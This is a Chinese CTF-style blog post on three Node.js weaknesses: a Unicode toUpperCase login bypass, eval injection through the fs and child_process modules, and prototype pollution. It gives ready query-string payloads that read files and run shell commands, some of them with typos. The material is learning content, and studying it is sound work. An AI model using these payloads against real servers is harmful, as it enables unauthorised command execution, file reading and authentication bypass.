编程语言
首页 > 编程语言> > NODEJS 最简单的三个漏洞

NODEJS 最简单的三个漏洞

作者:互联网

NODEJS

1.toUpperCase:

toUpperCase这个函数有个特点:
字符ı、ſ 经过toUpperCase()处理后结果为 I、S
字符K经过toLowerCase()处理后结果为k

利用特点(例题1):

CTFSHOW:
在这里插入图片描述一个登录页面啥也不是,关键在于题目给了我们压缩包。
打开之后:
login.txt:

var express = require('express');
var router = express.Router();
var users = require('../modules/user').items;
 
var findUser = function(name, password){
  return users.find(function(item){
    return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
  });
};

/* GET home page. */
router.post('/', function(req, res, next) {
  res.type('html');
  var flag='flag_here';
  var sess = req.session;
  var user = findUser(req.body.username, req.body.password);
 
  if(user){
    req.session.regenerate(function(err) {
      if(err){
        return res.json({ret_code: 2, ret_msg: '登录失败'});        
      }
       
      req.session.loginUser = user.username;
      res.json({ret_code: 0, ret_msg: '登录成功',ret_flag:flag});              
    });
  }else{
    res.json({ret_code: 1, ret_msg: '账号或密码错误'});
  }  
  
});

module.exports = router;

uese.txt

module.exports = {
  items: [
    {username: 'CTFSHOW', password: '123456'}
  ]
};

找到切入点:

  return users.find(function(item){
    return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
  });
name!= CTFSHOW  && password=123456 && item.username === name.toUpperCase()

什么意思:name不等于CTFSHOW,但是经过toUpperCase之后的name=CTFSHOW,那这里name就有两个值了:一个是简单的ctfshow(大小写转换直接符合),还有一个就是前面说到的

toUpperCase这个函数有个特点:
字符ı、ſ 经过toUpperCase()处理后结果为 I、S
字符K经过toLowerCase()处理后结果为k

所以name=ctfſhow 也满足

2.fs模块和child_process模块

fs模块:可以用来读取文件以及查看目录

require(‘fs’)

fs.readdirSync(path[, options])都可以用来查看目录
例如:

const fs = require('fs')

try {
  const data = fs.readFileSync('/Users/joe/test.txt', 'utf8')
  console.log(data)
} catch (err) {
  console.error(err)
}

查看当前目录:fs.readdirSync(.) 用点来查看当前目录

查看到了当前目录,那么读取当前目录下的文件内容要用到的函数就是:

fs.readfileSync(1.txt)即可读取 。
这里给出playload:

?eval=reqrise('fs').readdirSync(.)  查看当前目录
?eval=require('fs').readfileSync(1.txt) 读取文件

child_process模块:

child_process:简单来说就可以理解成 具有命令执行的模块
如:
在这里插入图片描述
直接给出playload:
?eval=reqrise(‘child_process’).execSync(ls /)等等

3.原型链污染:

原型链污染最关键的几个词汇就是:merage、verify、copy
所谓污染,不就是我们自己给一个对象赋值添加了属性,可以是对这个对象的父类,父类的父类添加属性造成污染。

最常见的:

obj.__proto__.proto__  对象的父类查找
name=1","__proto__":{"localhost":1},"1":"

涉及到拼接,一般都是 “proto”:{“属性”:值}

标签:fs,name,NODEJS,toUpperCase,漏洞,ret,item,简单,password
来源: https://blog.csdn.net/weixin_51353029/article/details/114324712